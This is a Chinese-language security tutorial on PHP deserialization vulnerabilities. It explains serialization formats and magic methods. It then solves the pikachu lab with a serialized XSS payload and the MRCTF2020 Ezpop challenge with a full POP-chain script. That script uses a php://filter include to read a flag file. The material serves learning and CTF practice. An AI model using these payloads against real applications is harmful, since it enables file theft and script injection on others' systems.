freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Web安全 -- PHP反序列化
2022-01-12 21:05:01
所属地 广东省

序列化与反序列化

何为序列化

序列化是将对象转换为字节流,在序列化期间,对象将当前状态写入到临时或持久性存储区。以后,可以通过从存储区中读取或反序列化对象状态,重新创建该对象,序列化的目的是便于对象在内存、文件、数据库或者网络之间传递。

在PHP中序列化所用的函数为

serialize()

语法

string serialize ( mixed $value )

参数说明:

  • $value: 要序列化的对象或数组。

返回值

返回一个字符串。

实例

<?php
    class Test{
        public $name = "admin";
        public $password = "admin";
    }

    $ser = new Test();
    echo serialize($ser);
?>

输出结果为:

O:4:"Test":2:{s:4:"name";s:5:"admin";s:8:"password";s:5:"admin";}

序列化后的字符串组成格式

image.png

序列化后数据类型的表示

a - array 数组型
b - boolean 布尔型
d - double 浮点型
i - integer 整数型
o - common object 共同对象
r - objec reference 对象引用
s - non-escaped binary string 非转义的二进制字符串
S - escaped binary string 转义的二进制字符串
C - custom object 自定义对象
O - class 对象
N - null 空
R - pointer reference 指针引用
U - unicode string Unicode 编码的字符串

序列化过程中变量改变

private属性序列化的时候格式是 %00类名%00成员名 如testname (test->类名name->成员名)

protected属性序列化的时候格式是 %00*%00成员名 如*name (name->成员名)

即,当private/protected属性序列化时会添加两个不可见的字符%00

通过打印序列化后的字符串时两个%00已经丢失

实例

<?php
    class Test{
        private $name = "admin";
        protected $password = "admin";
    }

    $ser = new Test();
    echo serialize($ser);
?>

输出结果

O:4:"Test":2:{s:10:"Testname";s:5:"admin";s:11:"*password";s:5:"admin";}

可以发现无论是Testname还是*password的长度,都比自身要长2,这个二就是两个%00

所以为了防止这种情况,输出的时候进行URL编码

echo urlencode(serialize($ser));

何为反序列化

反序列化即为序列化的逆过程,将字节流转换为对象的过程即为反序列化,通常是程序将内存、文件、数据库或者网络传递的字节流还原成对象

在PHP中反序列化所用到的函数为

unserialize()

语法

mixed unserialize ( string $str )

参数说明:

  • $str: 序列化后的字符串。

返回值

返回的是转换之后的值,可为 integer、float、string、array 或 object。

如果传递的字符串不可解序列化,则返回 FALSE,并产生一个 E_NOTICE。

实例

<?php
$str = 'a:3:{i:0;s:6:"Google";i:1;s:6:"Runoob";i:2;s:8:"Facebook";}';
$unserialized_data = unserialize($str);
print_r($unserialized_data);
?>

输出结果为:

Array
(
    [0] => Google
    [1] => Runoob
    [2] => Facebook
)

魔术方法

在利用反序列化漏洞时多会用到魔术方法,魔术方法是语言中保留的方法名,各个方法会在对应操作时自动调用

php中的魔术方法

参考文章:PHP: 魔术方法 - Manual

__construct

构建对象的时被调用,一般用于初始化对象,对变量赋初值;

__destruct

明确销毁对象或脚本结束时被调用;

__get

用于读取不可访问或不存在属性

__set

用于给不可访问或不存在属性赋值

__isset

对不可访问或不存在的属性调用isset()或empty()时被调用

__unset

对不可访问或不存在的属性进行unset()时被调用

__call

在对象上下文中调用不可访问或不存在的方法时被调用

__callStatic

在静态上下文中调用不可访问或不存在的静态方法时被调用

__sleep

使用serialize时自动被调用,当不需要保存大对象的所有数据时很有用

__wakeup

当使用unserialize()时自动被调用,可用于做些对象的初始化操作

当反序列化字符串中,表示属性个数的值大于其真实值,则跳过__wakeup()执行。

__clone

进行对象clone()时被调用,用来调整对象的克隆行为

__toString

当一个类被转换成字符串时被调用

__invoke

当以函数方式调用对象时被调用

__set_state

当调用var_export()导出类时,此静态方法被调用。用__set_state的返回值做为var_export的返回值。

__debuginfo

当调用var_dump()打印对象时被调用(当你不想打印所有属性)适用于PHP5.6版本

__autoload()

尝试加载未定义的类

反序列化漏洞实例

以pikachu靶场为例image.png

image.png

观看源代码:

class S{
    var $test = "pikachu";
    function __construct(){
        echo $this->test;
    }
}

//O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
$html='';
if(isset($_POST['o'])){
    $s = $_POST['o'];
    if(!@$unser = unserialize($s)){
        $html.="<p>大兄弟,来点劲爆点儿的!</p>";
    }else{
        $html.="<p>{$unser->test}</p>";
    }
}

发现__construct()函数,说明在创建对象时就会自动调用echo $this->test;

将以下类进行序列化

class S{
    var $test = "攻击语句,如()";
    function __construct(){
        echo $this->test;
    }
}

得到语句:

O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}

运行

image.png

POP链

从上面的介绍可以知道,反序列化的漏洞是以控制魔术方法为出发点,通过魔术方法来达到攻击的目的,但是很多时候很难直接通过魔术方法找到可以攻击的点,所以就需要寻找相同函数名将类的属性和敏感函数的属性联系起来,这就是POP链

直接看例子

实例

MRCTF2020Ezpop

这是一道代码审计题,进入网页后可以直接看到源码

Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>

";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}

首先查看输入点,在index.php的get方法传入的pop中

在查看每一个类对应的魔术方法是否可以利用

class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

__invoke为把对象以函数方式调用时就会触发__invoke魔术方法,同时另一个普通方法append里面有一个include,也是可以利用的

Show函数中也有三个魔术方法,但是没有什么可以利用的点

再看Test

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

重点落在__get,return $function(),和之前的__invoke结合就是一个利用链,所以当前目标就变为了如何触发__get(),当访问一个不可访问或者不存在的成员变量就可以触发__get()

但是这两个类都没有可以直接利用的点,想利用__invoke就要先利用__get,然而__get需要访问不存在的的成员变量才可以触发,然而无论Test里面的哪个方法都没有访问到不存在的成员变量

这是再看一下Show类

在__toSteing方法可以看到return $this->str->source;,如果让str = Test(),那么就会访问Test->source,这时就会触发__get,然而触发__toString为把类转换为字符串,这在__wakeup中的if(preg_match("/gopher|http|file|ftp|https|dict|../i", $this->source))实现,同时__wakeup在反序列化时会自动调用,所以我们要把$this->source设置为Show类的实例化对象

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>

";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

所以pop链:

Show类(__construct)-->Show类(__wakeup)-->Show类(__toString)-->Test类(__get)-->Modifier类(__invoke)

首先先实例化show

$a = new Show();

然后再把Test的实例化对象赋值给a->str

$a->str = new Test();

为了触发__invoke所以要把Modifier的实例化对象赋值给a->str->p

$a->str->p = new Modifier();

最后要把a赋值给$this->source

$b = new Show($a);

完整代码

<?php
    class Modifier {
        protected  $var='php://filter/read=convert.base64-encode/resource=flag.php';
    }

    class Show{
        public $source;
        public $str;
        public function __construct($file){
            $this->source = $file;
        }
    }

    class Test{
        public $p;
    }

    $a = new Show();
    $a->str = new Test();
    $a->str->p = new Modifier();
    $b = new Show($a);

    echo urlencode(serialize($b));
?>
# web安全 # php # CTF # 反序列化
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录